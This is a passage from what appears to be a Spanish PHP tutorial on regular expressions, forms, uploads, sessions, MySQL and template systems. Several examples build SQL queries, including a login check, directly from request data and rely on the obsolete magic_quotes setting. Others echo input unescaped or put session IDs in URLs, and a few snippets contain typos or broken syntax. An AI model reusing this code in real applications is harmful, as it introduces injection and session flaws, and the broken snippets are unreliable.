Cuando en una expresión se quieren introducir literalmente los citados signos (es decir que no se interpreten como operadores, sino como integrantes de la cadena), es necesario escaparlos, lo que se logra precediéndolos del signo \. Por ejemplo para representra a todas las posibles direcciones de correo dentro de nisu.org y todos sus subdominios (por ejemplo buyer@hony.nisu.org, puedo usar la expresión @.*nisu\.org$. Obsérvese queno es necesario poner .* delante.
La barra \ sirve además para dar significados especiales a otros caracteres, por ejemplo \s significa cualquier cantidad de espacio en blanco (incluído \r y \n), y por ejemplo \b no coincide con ningún caracter pero marca el inicio de una palabra. El tercer uso de la barra \ ya se habrá adivinado, es para indicar caracteres especiales como \r y \n.
Los signos [ y ] marcan conjuntos de caracteres, por ejemplo [A-Z] significa una mayúscula y [A-Z][A-Z_a-z0-9]* significa una mayúscula pero seguida de cero o más mayúsculas, minúsculas, cifras o el caracter _; la expresión [^0-9] significa cualquier caracter excepto cifras.
Las expresiones regulares tienden a coincidir con cadenas lo más largas posibles, es decir que ^.*a en la cadena patata, la letra a coincidirá con la última a. Si queremos que coincida con la primera, debemos usar el signo ? con un nuevo significado, acortar expresiones. Así ^.*?a significa cero o más caracteres pero los menos posibles seguidos de una a. Por ello la cadena representada por ^.*?a sobre patata es realmente pa. Obviamente si la expresión es ^.*?a$, tabién representa a patata, pero esta vez coincide con toda la palabra.
Las expresiones regulares pueden modificar su significado en función de unos modificadores que se indican junto con ella. Normalmente la expresión regular se expresa delimitada por un caracter (por costumbre es la barra /) y a continuación dichos modificadores. El carácter delimitador pierde el significado que pueda tener dentro de la expresión. A partir de ahora las escribiremos así. Modificadores importantes son: s, que significa que el . también coincide con cambios de línea, y m que indica que ^ y $ también coinciden a principio y final de línea (cuando la cadena tiene varias líneas), sin este modificador sólo indican principio y final de cadena.
Con lo que sabemos ahora, vemos algunos ejemplos:
<? //!
$variable="una cadena".
"otra cadena"
; ?>
Mucho más avanzado es el uso de subpatrones de la forma (?loquesea). Su utilidad es muy diversa:
<?
preg_match('%(<(\w+).*?>)([^<]*)(</\2.*?>)%',
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat);
print_r($mat);
?>
Si queremos todas las coincidencias, no la primera, debemos usar preg_match_all:
<?
preg_match_all('%(<(\w+).*?>)([^<]*)(</\2.*?>)%',
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat);
print_r($mat);
?>
Quizá el orden devuelto, no es el que interesa, puedo establecerlo de otro modo:
<?
preg_match_all('%(<(\w+).*?>)([^<]*)(</\2.*?>)%',
file_get_contents($_SERVER['SCRIPT_FILENAME']),$mat,PREG_SET_ORDER);
print_r($mat);
?>
La función preg_replace reeemplaza un patrón por una cadena en otra cadena. La expresión regular y la cadena de reemplazo pueden ser de tipo array y equivale a aplicar preg_replace iterativamente. En la cadena de reemplazo podemos emplear \1, \2, etc. para hacer referencia a las zonas marcadas con ().
Veamos algunos ejemplos. Dado $y con el texto:
<? Podemos eliminar todos los comentarios excepto uno con la sentencia:
// %es%: Esto es un comentario
// %en%: This is a comment
// %fr%: Ici un commentaire
?>
<?
$lg="es";
echo preg_replace(array("#^[ \t]*//[ \t]+%..(?<!$lg)%:[ \t].*\n#m",
"#^([ \t]*//[ \t]+)%$lg%:[ \t]+#m"),
array("","\\1"),$y);?>
<?
// Esto es un comentario
?>
Un modificador espectacular aplicable a preg_replacees /e,
que significa: una vez sustituído, evalúalo, es decir que la cadena de reemplazo
debe generar código php válido que después se interpreta y ejecuta (evalúa).
Por ejemplo, dado que php no dispone de función
para codificar en quoted-printable, podemos hacerlo así:
<?
echo preg_replace('/[^\x21-\x3C\x3E-\x7E\x09\x20]/e',
'sprintf( "=%02x", ord ( "$0" ) ) ;',
"Hola campeón,\n¿qué tal te va?");?>
Observa la necesidad del ; al final del sprintf.
PCRE no siempre funciona como parece. Observemos esta instrucción:
<? preg_match('+(a)(.*?)(b)(.*?)(c)+s','hola12a33a.b.c',$m); print_r($m); ?>
<? preg_match('+.*(a)(.*?)(b)(.*?)(c)+s','hola12a33a.b.c',$m); print_r($m); ?>
A veces la expresión regular no es constante sino variable, es decir, algo como:
<? preg_match('/(<img[^>]*src=)"?'.$f.'"?/',$html);
En este caso, si $f contiene una barra /, la expresión regular deja de ser válida. Podría usar otro caracter
para delimitar la expresión regular, pero no adelanto nada, en tanto que puede contener puntos, por ejemplo. El problema se resuelve
usando preg_quote, que "escapa" los caracteres especiales:
<? preg_match('/(<img[^>]*src=)"?'.preg_quote($f,'/').'"?/',$html);
<?
echo "Mi URL: http://{$_SERVER['HTTP_HOST']}{$_SERVER['SCRIPT_NAME']}<br>";
echo "Tu IP: {$_SERVER['REMOTE_ADDR']} o {$_SERVER['HTTP_X_FORWARDED_FOR']}"; ?>
Es interesante hacer notar que PHP puede usarse desde línea de comando. Los arrays $argc y $argv están disponibles para acceder a los parámetros.
<form method="post" action="procform.php">
Escribe: <input name="prueba" value="pre escrito">
<input type=submit name="env" value="Enviar">
</form>
El formulario no es más que HTML que el navegador muestra de una forma que permite interacción con el usuario:
El usuario rellena el formulario y cuando lo envía, los datos contenidos en el formulario se envían a la URL especificada
en el atributo action. En este ejemplo, los datos son recibidos por procform.php, que simplemente contiene:
<?
echo '<xmp>';
print_r($_POST);
echo '</xmp>';
?>
El resultado (pulsa el botón en el formulario anterior para verlo) es:
Prestemos atención a ciertas cuestiones:
<form method="post" action="procform.php">
Escribe: <input name="prueba" value="pre"escrito">
<input name="prueba" value="otro igual">
<select name=multi multiple size=4>
<option>1<option>2<option>3<option>4<option>5<option>6
</select>
<input type=submit name="env" value="Enviar">
<input type=submit name="env2" value="Enviar también">
<input type=hidden name=malsecreto value="oculto">
</form>
Para resolver el problema de los nombres iguales (que, insisto, es un problema de PHP, no del navegador)
debemos adaptar el HTML y llamar a los campos repetidos como si fueran arrays. Obviamente para el
HTML no son arrays, pero PHP sí que los interpretará como tales:
<form method="post" action="procform.php">
Escribe: <input name="prueba[]" value="pre"escrito">
<input name="prueba[]" value="otro igual"><br>
<input name="con_indice[33]"><input name="con_indice[66]">
<select name="multi[]" multiple size=4>
<option>1<option>2<option>3<option>4<option>5<option>6
</select>
<input type=submit name="env" value="Enviar">
</form>
Obsérvese lo antiestético del formulario.
El aprendizaje del procesado de formularios se completa necesariamente leyendo aquí .
<form enctype="multipart/form-data" method="post" action="cojearchivo.php">
<input type="hidden" name="MAX_FILE_SIZE" value="10000">
Elige el archivo que quieres enviar: <input type=file name=fich>
y <input type=submit value="envíalo">
</form>
Notemos que el formulario debe llevar codificación multipart/form-data (la codificación por defecto de los formularios es application/x-www-form-urlencoded, que envía los datos en codificación urlencoded, muy ineficiente para grandes volúmenes). El método debe ser necesariamente POST.
PHP es capaz de interpretar la codificación multipart/form-data, de modo que el programador no nota diferencia
en lo que encuentra en $_POST respecto a un formulario "normal".
Pero el campo input de tipo file no es almacenado en la
variable $_POST, pues un archivo grande desbordaría la memoria (realmente, versiones antiguas de PHP
cargaban el archivo enviado en memoria antes de procesarlo, esto ha sido corregido en las versiones actuales).
En su lugar, la variabe $_FILES contiene lo que necesitamos. Desafortunadamente los navegadores no suelen
incluir barras de progreso del envío del archivo, por lo que envíos grandes suelen desesperar al usuario.
El campo oculto de nombre MAX_FILE_SIZE debería ser interpretado por el navegador para no dejar enviar
archivos de un tamaño mayor. Obviamente esto no debe usarse con propósitos de seguridad, pues el navegador puede
no hacer caso o el usuario modificar el HTML.
PHP tiene su propio límite de tamaño de archivo admitido, que es un límite insalvable y puede obtenerse mediante
ini_get. Éste límite debe ser menor que el límite establecido para un POST:
<?
echo "El tamaño máximo de archivo en este servidor es ".ini_get("upload_max_filesize")."\n";
echo "El POST más grande posible es ".ini_get("post_max_size"); ?>
Probemos el ejemplo:
El archivo es recibido por cojearchivo.php que contiene:
<?
echo '<pre>';
print_r($_FILES);
echo '</pre>';
?>
Y produce:
Observamos que la variable $_FILES contiene información del archivo recibido, indexada por el nombre del campo (en este caso fich). Nos suministra el nombre original (name), el tipo MIME del archivo (type), el nombre con que se ha grabado en el servidor (tmp_name), el posible error, y el tamaño del archivo. Con esta información, lo habitual será comprobar si el tamaño esta en los límites esperados, si es de un tipo esperado, y en ese caso cambiarlo de ubicación y probablemente de nombre, con la función move_uploaded_file. Es importante hacer notar que el nombre original del archivo debería usarse sólo como dato informativo, no debería renombrarse el archivo recibido a su nombre original, pues puede ser incompatible con el sistema de archivos o producir problemas de seguridad graves.
Este podría ser un uso normal:
<?
foreach ($_FILES as $cmp => $fic) {
if ($fic["size"] > 100000) {
echo "Tamaño de archivo (campo $cmp) excesivo";
continue;
}
if (substr($fic["type"],0,6) != "image/") {
echo "Esperaba una imagen en el campo $cmp";
continue;
}
$minombre=strftime("Archivo_subido_el_%Y_%m_%d_%H_%M");
if (!move_uploaded_file($fic["tmp_name"],"midirectorio/$minombre"))
echo "Algo ha pasado con el archivo del campo $cmp";
}?>
<?
$v=$_GET['test'] or $v="'";
echo '<form>'.
"<input name=test value=\"$v\">".
'<input type=submit value=Continuar>'.
'</form>';
?>
Pulsa Continuar repetidas veces:
<?
session_start();
?>
Su misión es establecer el nmbre de sesión y leer los datos si la sesión ya existe y si no, lanzar la cookie. Por esta razón debe llamarse
siempre antes de que el programa escriba nada por el output.
<?
$_SESSION['nombre']='Lucas';
?>
almacena un dato que podemos consultar en otra ejecución del programa. Un ejemplo muy sencillo:
<?
session_start();
$_SESSION['cont']++;
echo "Contador: ".$_SESSION['cont'].
' - <a href="?dum='.rand().'">incrementar</a>';
?>
<?
if (!$_SESSION['autenticado']) {
... autenticar ...
}
else {
// autenticado
session_write_close();
readfile("Fichero descarga");
}
?>
<?
echo '<br>Más información <a href="http://otra.com/?sid='.
session_id().'">aquí</a>';
?>
Y en la segunda página forzar el uso de esa sessión:
<?
if ($sid=$_GET['sid']) {
session_id($sid);
session_start();
// limpia la URL
header("Location: ?");
die();
}
?>
Las reglas básicas para alcanzar un buen resultado son:
<?
$hServ=mysql_connect("localhost","miuser","mipassword")
or salir("No se pudo conectar con el servidor MySQL");
$dbSel=mysql_select_db("mibase")
or salir("Error al abrir la Base de Datos.");
?>
A partir de este punto ya podemos lanzar consultas. Obsérvese que, al
seleccionar la base de datos, no le he indicado
el servidor en el que se encuentra (es un parámetro opcional). Muchas funciones de MySQL siguen este patrón, tomando
la última llamada a una función MySQL como referencia. En el ejemplo, al usar un solo servidor y una sola base de datos,
$hServ y $dbSel no son necesarias.
<?
$col=$_GET['col'];
$qu=mysql_query("select * from tabla where col = '$col'");
while ($fil=mysql_fetch_assoc($qu))
echo $fil['otracol'];
?>
Es importante señalar varias cosas. En primer lugar, al usar $col en la consulta, debemos estar seguros de que
magic-quotes-gpc está activo.
De lo contrario podría producirse un problema de seguridad. En segundo lugar, de las diversas funciones mysql_fetch_
debemos usar, en general, mysql_fetch_assoc y no mysql_fetch_row. De este modo, si se altera la tabla,
el código php seguirá siendo válido. Puede usarse mysql_fetch_row en una situación como ésta:
<?
list($nume)=mysql_fetch_row(
mysql_query(
"select count(*) from tabla"));
?>
Las inserciones en tablas, deben hacerse siempre indicando las columnas y no sólo los valores:
<?
mysql_query("insert into tabla (col1,col2) values ('v1','v2')");
$clprim=mysql_insert_id();
?>
El ejemplo muestra, además, cómo debe obtenerse el valor del último auto increment insertado.
<?
$qu=mysql_query("select .... complicado");
echo mysq_error();
?>
<?
$ind='prim'; // la clave primaria de la tabla se llama prim
echo '<form method="post">';
$qu=mysql_query("select * from edtabla");
while ($fi=mysql_fetch_assoc($qu)) {
$idx=$fi[$ind];
echo "$idx:";
foreach ($fi as $col => $val) {
if ($col != $ind)
echo " <input name=\"$col]$idx]\" value=\"$val\">"; // el 93 evita error sintáctico
}
echo "<br>";
}
echo '<input type=submit value="Modificar"></form>'; ?>
Esta es la forma en que normalmente trabajaremos con BdD y formularios. Pero para nuestro ejemplo,
el inconveniente de este método es que, hecho el post, PHP se encontrará con una serie de arrays, pero no
hay una forma de saber cuales son sin volver ha hacer la consulta. En su lugar puedo usar nombres de campos input
del tipo vals[$col][$idx], de modo que lo que recibirá PHP será un único array de arrays:
<?
Si quiero hacer sólo un update por fila, el código es el siguiente, bastante enrevesado:
$ind='prim';
echo '<form method="post">';
if ($vals=$_POST['vals']) {
foreach($vals as $col => $filas)
foreach($filas as $idx => $val)
mysql_query("update edtabla set `$col` = '$val' where $ind = '$idx'");
}
else {
$qu=mysql_query("select * from edtabla");
while ($fi=mysql_fetch_assoc($qu)) {
$idx=$fi[$ind];
echo "$idx:";
foreach ($fi as $col => $val) {
if ($col != $ind)
echo " <input name=\"vals[$col][$idx]\" value=\"$val\">";
}
echo "<br>";
}
}
echo '<input type=submit value="Modificar"></form>';
?>
<?
Para evitar la trasposición puedo alterar la presentación del formulario y usar los nombres de los campos
como índices del índice S-{, es menos intuitivo pero simplifica el código:
$ind='prim';
echo '<form method="post">';
if ($vals=$_POST['vals']) {
// debo trasponer $vals, ver el else
$uno=current($vals); // primer campo, lo uso para sacar los ind
$cols=[]; // columnas
foreach($vals as $col => $dum)
$cols[]=$col;
// recorro
foreach($uno as $idx => $dum) {
$up="";
echo "$idx:";
foreach($cols as $col) {
$val=$vals[$col][$idx];
$up.=", `$col` = '$val'";
echo " <input name=\"vals[$col][$idx]\" value=\"$val\">";
}
mysql_query("update edtabla set".substr($up,1)." where $ind = '$idx'");
echo "<br>";
}
}
else {
$qu=mysql_query("select * from edtabla");
while ($fi=mysql_fetch_assoc($qu)) {
$idx=$fi[$ind];
echo "$idx:";
foreach ($fi as $col => $val) {
if ($col != $ind)
echo " <input name=\"vals[$col][$idx]\" value=\"$val\">";
}
echo "<br>";
}
}
echo '<input type=submit value="Modificar"></form>';
?>
<?
$ind='prim'; // clave primaria de la tabla
echo '<form method="post">';
if ($vals=$_POST['vals']) {
foreach($vals as $idx => $fil) {
$up="";
echo "$idx:";
foreach($fil as $col => $val) {
$up.=", `$col` = '$val'";
echo " <input name=\"vals[$idx][$col]\" value=\"$val\">\n";
}
$q="update edtabla set".substr($up,1)." where $ind = '$idx'";
echo "<br>$q";
mysql_query($q);
echo mysql_error();
echo "<br>";
}
}
else {
$qu=mysql_query("select * from edtabla");
while ($fi=mysql_fetch_assoc($qu)) {
$idx=$fi[$ind];
echo "$idx:";
foreach ($fi as $col => $val) {
if ($col != $ind)
echo " <input name=\"vals[$idx][$col]\" value=\"$val\">\n";
}
echo "<br>";
}
}
echo '<input type=submit value="Modificar"></form>';
?>
Un tema interesante aparece cuando las columnas de la tabla se prestan a construir campos select o
checkbox en lugar de los habituales input. Por ejemplo, pensemos en el ejemplo anterior, pero
con una tabla donde las columnas sólo puedan tomar los valores verdadero o falso. El código correspondiente al
else del ejemplo anterior, quedaría como (sólo la parte del foreach):
<?
foreach ($fi as $col => $val) {
if ($col != $ind) {
echo " <input name=\"vals[$idx][$col]\" value=1";
if ($val)
echo ' checked';
echo ">\n";
}
} ?>
O más escueto:
<?
foreach ($fi as $col => $val)
if ($col != $ind)
echo " <input name=\"vals[$idx][$col]\" value=1".
(($val) ' checked' : '').">\n";
?>
Puede apreciarse que el valor es siempre 1, pero el checkbox aparecerá pre-marcado si el valor era verdadero, y sin marcar si era falso. El problema aparece al procesar el formulario: el navegador no envía los nombres de los checkbox que no están marcados. Por ello no puedo utilizar el mismo código que en el ejemplo con campos text, donde recorría $_POST['vals'], sino que deberé acudir a la base de datos y ver si para cada pareja ($idx,$col) está presente (el valor será siempre 1) el correspondiente $_POST['vals'][$idx][$col].
En el caso de un campo select la programación del procesado del formulario es la misma que en el ejemplo
con campos text, pues en el caso de un select, el navegador sí que envía siempre el campo, con
la selección hecha por el usuario o la que hubiese por defecto. Supongamos una tabla en la que los campos
sólo pudieran tomar los valores pera, manzana o naranja, el código para generar el formulario sería;
<? Previamente (al inicio del programa o justo después del else), habré definido:
foreach ($fi as $col => $val)
if ($col != $ind) {
echo " <select name=\"vals[$idx][$col]\">\n";
foreach($opciones as $valor=>$texto)
echo '<option value=\"'.htmlspecialchars($valor).'"'.
(($valor == $val) ? ' selected' : '').">$texto\n";
echo "</select>\n";
}
?>
<?
$opciones=array("pera" => "Una perita",
"manzana" => "Una manzanita",
"naranja" => "La naranja",);
?>
En programación web clásica (formularios sin javascript), los formularios se envían por la pulsación de los botones de tipo submit. Por tanto nuestro programa averiguará el botón pulsado y ejecutará el código apropiado para el tratamiento de los datos que puedan estar presentes cuando se haya pulsado el botón.
Tomemos el ejempo de la multiplicación de dos números, básicamente hay 3 interfaces:
<?
inicia_session;
elige boton entre:
"entra el primer número":
guarda en sesión el dato de entrada y pide el segundo;
"entra el seguindo número":
realiza la multiplicación y muestra el resultado;
"otra multiplicación":
"nada":
pedir primer número;
?>
Observa la necesidad de iniciar sesión para poder guardar el primer número. Dos consideraciones muy importantes:
<?
if ($_GET['tal_boton'])
...
else if ($_GET['tal_otro_boton'])
...
else
...
if ($_GET['ultimo_boton'])
...
?>
Para evitar esta ineficiente y antiestética programación, podemos usar una facilidad de PHP ya explicada: definir los
botones como un array, siempre con el mismo nombre, pero con distintos índices. El código sería:
<?
session_start();
echo '<form>';
switch (@key($_GET['boton'])) {
case 'entraNum1':
$_SESSION['n1']=$_GET['n1'];
echo 'Dame el segundo número <input name=n2 size=5>'.
' <input type=submit name="boton[entraNum2]" value="Continuar">';
break;
case 'entraNum2':
echo 'Resultado: '.($_SESSION['n1']*$_GET['n2']).
' <input type=submit name="boton[otraMulti]" value="Otra multiplicación">';
break;
case 'otraMulti':
default:
echo 'Dame el primer número <input name=n1 size=5>'.
' <input type=submit name="boton[entraNum1]" value="Continuar">';
break;
}
echo '</form>';
?>
La plantilla es simplemente una página web, con todos los elementos de diseño que queramos introducir (o inicialmente ninguno). El programador construye una primera versión de la plantilla, de acuerdo con criterios de diseño de entornos de usuario y que cumpla los requerimientos del programa. Esta página tendrá unos datos fijos y algunos variables, que deberán ser generados por PHP. Estos elementos se marcan de alguna forma (según diga nuestro software de plantillas) para indicar su naturaleza.
Aparte, el programador construye el programa. En él, cuando quiere mostrar HTML, lee la plantilla, sustituye los datos variables por expresiones de su programa y muestra el resultado.
Cuando el programador termina la aplicación, entrega las plantillas a un diseñador, quien simplemente respetando las marcas de datos variables, que normalmente no son etiquetas HTML sino texto simple, aportará el diseño adecuado a la página y devolverá al programador las nuevas plantillas. Éste sustituirá las viejas por las nuevas y probará la aplicación.
A modo de ejemplo, implementemos nuestro propio sistema de plantillas (muy elementales). Tomamos un ejemplo clásico:
<html>
<body>
Son las <? echo strftime("%H"); ?>
horas
</body>
</html>
y lo sustituimos por:
<html>
<body>
Son las {HORA}
horas
</body>
</html>
que es HTML sin PHP. Guardamos este texto en el archivo plantilla1.phtml y a continuación escribimos el programa:
<?
$plantilla=file_get_contents("plantilla1.html");
$plantilla=preg_replace('/{HORA}/',strftime("%H"),$plantilla);
echo $plantilla;
?>
El programa carga la plantilla, sustituye la etiqueta {HORA} por la hora actual y muestra el resultado.
Obviamente el caso general no es tan sencillo.
Si el resultado de la ejecución del programa es una tabla con un número indeterminado de filas, lo que corresponde
es hacer el diseño para una fila y en tiempo de ejecución, replicar la fila tantas veces como sea necesario.
Por ejemplo, dada la plantilla (plantilla2.html):
<table border>
<!-- inicio zona a replicar -->
<tr><td>{DATO1}<td>{DATO2}</tr>
<!-- fin zona a replicar -->
</table>
si la ejecución del programa produce 3 filas, deberá convertirse en tiempo de ejecución en algo como:
<table border>
<tr><td>Un dato1<td>Un dato2</tr>
<tr><td>Otro dato1<td>Otro dato2</tr>
<tr><td>Otro dato1 más<td>Otro dato2 más</tr>
</table>
lo que no se consigue trivialmente.
Un programador profesional debe tender a usar plantillas. Existen multitud de sistemas de plantillas. Uno de ellos es smarty, que lo comento el primero para descartarlo. smarty es potente, con muchas funciones ... que nadie necesita. Además la idea de separar diseño y programación no está muy clara en tanto que smarty permite (e induce a) incluir código del propio smarty en las plantillas.
Un sistema de plantillas antiguo y bastante o utlizado es FastTemplate, basado en ideas de Perl, del cual yo he testeado, con resultados satisfactorios, una de sus variantes, class.rFastTemplate.php.
PEAR incluye varios sistemas de plantillas, el más popular es HTML_Template_IT o su versión extendida HTML_Template_Sigma. La ventaja de esta última es ante todo la compilación de las plantillas, lo que mejora bastante el rendimiento (velocidad) del sistema de plantillas (o sea, de nuestro programa) comparado con sistemas de plantillas que no compilan. Compilar significa que la primera vez que se carga la plantilla (o si se modifica), el sistema de plantillas realiza una copia procesada de la misma, de modo que cuando se vuelve a usar no hay que procesarla y por ello carga más deprisa.
La gran ventaja de usar PEAR es la facilidad de instalación:
pear search HTML_Templatenos muestra la lista de sistemas de plantillas, que instalamos
simplemente haciendo:pear install HTML_Template_Sigma
Escribamos nuestro primer programa con plantillas:
<?
/*1*/ require_once "HTML/Template/Sigma.php";
/*2*/ $tpl= & new HTML_Template_Sigma("plantillas","plantillas-compiladas");
/*3*/ $tpl->loadTemplateFile("plantilla1.html");
/*4*/ $tpl->setVariable("HORA",strftime("%H"));
/*5*/ $tpl->show();
?>
En la línea 1 incluimos el código de HTML_Template_Sigma y en la 2 creamos un objeto plantilla, indicando que las plantillas las encontrará en el directorio plantillas y que guarde las plantillas compiladas en plantillas-compiladas. En la 3, cargamos la misma plantilla de antes, plantilla1.html. En la 4 establecemos el valor de la variable y en la 5 la mostramos.
Ahora, resolvamos el problema planteado anteriormente con plantilla2.html:
<html>
<body>
<table border>
<!-- BEGIN fila -->
<tr><td>{nombre}<td>{apellidos}</tr>
<!-- END fila -->
</table>
</body>
</html>
Usemos el siguiente código:
<?
require_once "HTML/Template/Sigma.php";
$tpl= & new HTML_Template_Sigma("plantillas","plantillas-compiladas");
/*1*/ $tpl->loadTemplateFile("plantilla2.html");
/*2*/ $datos=array(array("nom"=>"Manuel","ape"=>"Mollar Villanueva"),
array("nom"=>"Lucas","ape"=>"Grijander"),);
/*4*/ foreach ($datos as $persona) {
$tpl->setVariable(array("nombre" => $persona["nom"],
"apellidos" => $persona["ape"],));
/*5*/ $tpl->parse("fila");
}
/*6*/ $tpl->show();
?>
| Manuel | Mollar Villanueva |
| Lucas | Grijander |
Es importante insistir en la consideración de rendimiento. Procesar una plantilla no es inmediato. Representa cargar un texto, analizarlo (con un programa escrito normalmente en PHP) y realizar las sustituciones. Esto requiere un tiempo de ejecución no despreciable que hay que tener en cuenta. Por eso algunos sistemas de plantilas las pre-compilan, pero aun así hay un coste. Un sistema con una carga tremenda se verá afectado por las plantillas, especialmente por plantillas dinámicas donde, por ejemplo, se repliquen filas de una tabla. La consecuencia es que a veces acaba siendo necesario combinar plantillas con la tradicional inclusión de HTML por razón de prestaciones.
Por último veamos un ejemplo con doble anidación (fila/columna), donde las consideraciones de rendimiento son
todavía más importantes:
<html>
<body>
<table border>
<!-- BEGIN fila -->
<tr>
<!-- BEGIN columna -->
<td>{dato}
<!-- END columna -->
</tr>
<!-- END fila -->
</table>
</body>
</html>
Y el código:
<?
require_once "HTML/Template/Sigma.php";
$tpl= & new HTML_Template_Sigma("plantillas","plantillas-compiladas");
$tpl->loadTemplateFile("plantilla3.html");
$datos=array(array("nom"=>"Manuel","ape"=>"Mollar Villanueva"),
array("nom"=>"Lucas","ape"=>"Grijander"),);
foreach ($datos as $persona) {
foreach ($persona as $dato) {
$tpl->setVariable("dato",$dato);
$tpl->parse("columna");
}
$tpl->parse("fila");
}
$tpl->show();
?>
| Manuel | Mollar Villanueva |
| Lucas | Grijander |
En las aplicaciones web es habitual mostrar una cabecera de identificación de la aplicación y un menú con las principales acciones posibles. Para no repetir esta estructura se emplean a veces frames, pero generan problemas complicados de recargas. Vamos a aprovechar las plantillas para no usar frames. Construiremos una plantilla, digamos, global y dentro de ella colocaremos el resto de plantillas.
Los interfaces serán: uno de autenticación, otro de registro de cliente, otro de búsqueda de títulos (con muestra de novedades), otro de reserva y otro de consulta de reservas. Realmente para mejor programación y facilidad de uso, la consulta de reservas se integra con la de reserva y la de búsqueda.
La estructura de la base de datos es sencilla:
Esto es un esbozo de lo que sería el programa:
<? Como puedes observar, lo primero es, independientemente de las acciones, iniciar sesión, preparar la plantilla y conectar con la BdD.
A continuación se han implementado algunas de las funciones más básicas. Como puedes ver, hay dos funciones útiles,
una que muestra un error fatal y otra, más útil, que verifica si el usuario está autenticado y si no lo está le propone hacerlo.
Esta función será necesario llamarla antes de todas las operaciones que requieran estar previamente autenticado.
get_magic_quotes_gpc() or die();
session_start();
require_once "HTML/Template/Sigma.php";
$tpl= & new HTML_Template_Sigma("plantillas-cine");
//!
$host="";
//!
$user="cine";
//!
$pas="cine";
mysql_connect($host,$user,$pas) or
error('No pude conectar con el servidor de BDD');
//!
$bdd="cine";
mysql_select_db($bdd) or
error('Error al acceder a la base de datos');
$idus=$_SESSION['idus'];
switch (@key($_POST['boton'])) {
case 'entrar':
$idus=mysql_fetch_assoc(mysql_query("select * from clientes".
" where dni='{$_POST['dni']}' and tel='{$_POST['tel']}'"));
if (!$idus) {
$tpl->loadTemplateFile("inicio.html");
$tpl->setVariable("MENS",'Tas colao');
break;
}
$_SESSION['idus']=$idus;
$tpl->loadTemplateFile("busca.html");
break;
case 'edtcli':
if (!identificado($idus))
break;
$tpl->loadTemplateFile("edtcli.html");
foreach(array('nombre','dni','tel','direcc') as $cmp)
$tpl->setVariable(strtoupper($cmp),
htmlspecialchars($idus[$cmp]));
default:
if ($_SESSION['idus'])
$tpl->loadTemplateFile("busca.html");
else
$tpl->loadTemplateFile("inicio.html");
break;
}
$ifz=$tpl->get();
$tpl->loadTemplateFile("global.html");
$tpl->setVariable("INTFZ",$ifz);
$tpl->show();
function error($m) {
global $tpl;
$tpl->loadTemplateFile("error.html");
$tpl->setVariable("MENS",$m);
$tpl->show();
die();
}
function identificado($idus) {
if (!$idus) {
$tpl->loadTemplateFile("inicio.html");
$tpl->setVariable("MENS",
'Primero identifíquese');
}
}
?>
man 2 fork), la función se denomina pcntl_fork
y es parte de la extensión PCNTL. Esto permite lanzar procesos concurrentes al estilo Un*x. Esta función no debe usarse cuando
PHP se invoca como módulo de apache, pues haríamos fork() del apache, no del PHP.
Un elemento de portabilidad es controlar los parámetros de php.ini que afectan fuertemente al programa. Lo más grave para la seguridad (y el buen funcionamento) es el estado de magic_quotes_gpc, parámetro que si está a ON (por defecto hasta php5 inclusive), provoca el escapado de ciertos signos, es decir que un signo " se convierta en \', como vimos. Si queremos que nuestro proyecto funcione independientemente de este parámetro, debemos, comprobar siempre el estado de magic_quotes_gpc, lo cual es engorroso, pero necesario.
Otra situación típica de falta de portabilidad es cuando desde nuesros programas hacemos referencia a URLs
y usamos valores absolutos que pueden cambiar, en concreto la de nuestro proyecto. Un ejemplo muy típico es
cuando mandamos un correo con una enlace a nuestra web e introducimos directamente nuestra URL.
Lo correcto es usar la variable $_SERVER, como se muestra en el ejemplo de autenticación por mail.
Otra situación típica de URL es cuando se quiere cambiar a modo seguro la propia URL, debe usarse igualmente
$_SERVER.
Cuando no podamos evitar una dependencia, como por ejemplo un path a un include o similar, podemos establecerlo como un parámetro de distribución/instalación de nuestra aplicación como explicamos aquí.
Como sabemos, la utilidad de las plantillas es mantener la independencia entre el diseño y la programación, por lo que intentaremos que la mayor parte del texto y todo el HTML esté en las plantillas. Pero, normalmente, dentro del programa es necesario escribir pequeños mensajes o sacar resultados. Luego si queremos que el proyecto sea multilingüe, necesitamos:
<?
// funciones y cadenas de mmGettext
require_once('idiomas.php');
Esta cabecera la colocaré en todos los php-multilingüe que vaya a construir en este proyecto.
Y en el archivo idiomas.php:
<?
session_start();
// fuerza si el cliente pasa ?lang=id
forceLangSession($_GET['lang']);
// determina el idioma elegido de mutuo acuerdo en $whichLang
mmSetLang(mmIniStr('es'),'es');
// locale (este ejemplo sólo funciona con idiomas "españoles")
setlocale(LC_ALL,$whichLang.'_ES');
// dónde están las plantillas de este idioma
$dirPlantillas="../plantillas_$whichLang";
/* mmGetText start */
//
//
/* mmGetText end */
?>
Obsérvese que $dirPlantillas puede usarse para Sigma, Smarty, FastTemplate, o plantillas caseras como en este ejemplo.
Después, voy escribiendo código php y en un momento dado, necesito sacar la plantilla, que contiene, por ejemplo,
la fecha y un mensajito. En este caso, haría (plantillas caseras):
<?
echo preg_replace(
array('/{HORA}/','/{MENSAJITO}/'),
array(strftime('%c'),__('Este es el mensajito')),
file_get_contents("$dirPlantillas/unaplantilla.html")
); ?>
Es decir, cargo la plantilla de nombre unaplantilla.html del directorio adecuado según el idioma y sustituyo la fecha, que strftime ya me va a colocar en el idioma correcto gracias al setlocale, y sustiyo el mensajito que es traducido por la función __() de mmGetText.
Obsérvese que hay un directorio de plantillas por idioma y en cada uno, plantillas se llaman igual. Por ello
si se usa un sistema que emplee plantilas compiladas, como Sigma, debe indicarse también un directorio de plantillas
compiladas por idioma, algo como:
<?
$tpl= & new HTML_Template_Sigma("$dirPlantillas","$dirPlantillas-compiladas"); ?>
Si quiero poner en la página botones para cambiar de idioma, puedo poner algo como:
<a href="?lang=ca"><img src="ca.gif" border="0"></a>:
mmGetText.php idiomas.php mio.php otromio.php
Obteniendo el archivo idiomas.php actualizado con las cadenas a traducir
(obtenidas de los archivos mio.php otromio.php),
y con las funciones necesarias incluidas.Supongamos, pues que tenemos un campo en la bdd que se llama fruta y que contiene nombres de
frutas. Estos nombre varian con el idioma. La solución que propongo es tener un campo para cada idioma soportado:
fruta_es, fruta_en, fruta_ca, etc. y actuar según:
<? Que ya me saca el campo en el idioma deseado, o bien:
$q=mysql_query("select fruta_$whichLang from tabla where ..."); ?>
<?
$q=mysql_query("select * from tabla where ...");
$row=mysql_fetch_assoc($q);
$nomFruta=$row["fruta_$whichLang"]; ?>
Una opción -- un tanto partidista :-) -- es usar una pequeña herramienta de mi construcción
que construye un programa php con autoextracción que instala un proyecto completo. La
